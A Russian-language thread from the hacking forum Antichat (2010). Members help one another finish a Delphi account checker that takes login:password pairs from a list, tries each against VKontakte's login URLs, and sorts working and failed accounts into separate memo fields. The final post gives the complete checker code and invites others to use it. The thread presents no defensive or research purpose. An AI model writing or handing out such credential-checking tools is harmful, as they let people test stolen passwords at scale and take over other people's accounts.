 |
|
27.04.2010, 19:56
|
|
Познавший АНТИЧАТ
Регистрация: 09.11.2009
Сообщений: 1,077
С нами:
8686406
Репутация:
265
|
|
Всем спасибо, но ничего не помогло  |
|
|
27.04.2010, 20:00
|
|
Участник форума
Регистрация: 07.02.2010
Сообщений: 189
С нами:
8556802
Репутация:
79
|
|
stepashka_,
тебе exe'шник кинуть где у меня все работает? 
Запускай без дебагера. И проверь номера мемо, мб где то не тот номер! |
|
|
|
27.04.2010, 20:06
|
|
Познавший АНТИЧАТ
Регистрация: 09.11.2009
Сообщений: 1,077
С нами:
8686406
Репутация:
265
|
|
Всё гуд заработало!
|
|
|
|
27.04.2010, 20:06
|
|
Участник форума
Регистрация: 23.07.2009
Сообщений: 261
С нами:
8843557
Репутация:
539
|
|
Сообщение от stepashka_
Всем спасибо, но ничего не помогло Мб капча вылезла и тупо не авторизирует? 
|
|
|
|
27.04.2010, 21:28
|
|
Участник форума
Регистрация: 01.03.2009
Сообщений: 121
С нами:
9050197
Репутация:
38
|
|
а можно в WebBrowser парсить определённый участок кода, например:
с <!-- begin -->
...
до <!-- / end -->
и выводить в браузер? только сохрание всей страници на хард, потом парсить, потом выводить - не катит.
|
|
|
|
27.04.2010, 22:44
|
|
Участник форума
Регистрация: 20.12.2008
Сообщений: 277
С нами:
9152955
Репутация:
84
|
|
Наврядли. Только если перехватывать пакеты на низком уровне наверное
|
|
|
|
27.04.2010, 23:13
|
|
Познавший АНТИЧАТ
Регистрация: 09.11.2009
Сообщений: 1,077
С нами:
8686406
Репутация:
265
|
|
Сообщение от HakaR
Мб капча вылезла и тупо не авторизирует? Да не всё Ок там
Подскажите можно как то провереный акк удалять из мемо1? после того как он сохранился в мемо2-3
|
|
|
|
27.04.2010, 23:21
|
|
Познающий
Регистрация: 21.11.2009
Сообщений: 77
С нами:
8668804
Репутация:
29
|
|
Сообщение от stepashka_
Да не всё Ок там
Подскажите можно как то провереный акк удалять из мемо1? после того как он сохранился в мемо2-3 memo1.lines.delete(0);
удаляет первую строку
|
|
|
|
27.04.2010, 23:21
|
|
Участник форума
Регистрация: 20.12.2008
Сообщений: 277
С нами:
9152955
Репутация:
84
|
|
Memo2.Lines.Delete(Memo2.Lines.IndexOf(account));
Последний раз редактировалось GhostOnline; 28.04.2010 в 15:41..
|
|
|
|
27.04.2010, 23:31
|
|
Участник форума
Регистрация: 18.07.2009
Сообщений: 278
С нами:
8850305
Репутация:
259
|
|
вы тут все извращенцы какие то)))) как можно с помощью pos() определить положение символа в строке???))) для этого используется ansipos()
PHP код:
procedure TForm1.Button1Click(Sender: TObject);
var
uns, s,log,pass: String;
begin
idhttp1.HandleRedirects := True;
while memo1.lines.count-1>=0 do
begin
log:=copy(memo1.lines[0],1,AnsiPos(':',memo1.lines[0])-1);
pass:=copy(memo1.lines[0],AnsiPos(':',memo1.lines[0])+1,length(memo1.lines[0]));
uns:=idhttp1.get('http://login.vk.com/?act=login&email='+log+'&pass='+pass+'&expire=&vk=');
s:=Copy(uns,Pos('value=',uns)+7,56);
try
idhttp1.get('http://vk.com/login.php?op=slogin&redirect=1&expire=0&to=&s='+s);
uns := idhttp1.Get('http://vk.com/');
memo2.lines.add(log + ':' + pass);
except
*On E: Exception do begin
* memo3.lines.add(log + ':' + pass);
* memo2.Lines.Delete(memo2.Lines.Count);
memo1.Lines.Delete(0);
end;
end;
end.
вот и весь код господи)))) проверили, добавили, удалили и се! пользуйтесь
Последний раз редактировалось EndLeSSDre@M; 27.04.2010 в 23:54..
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
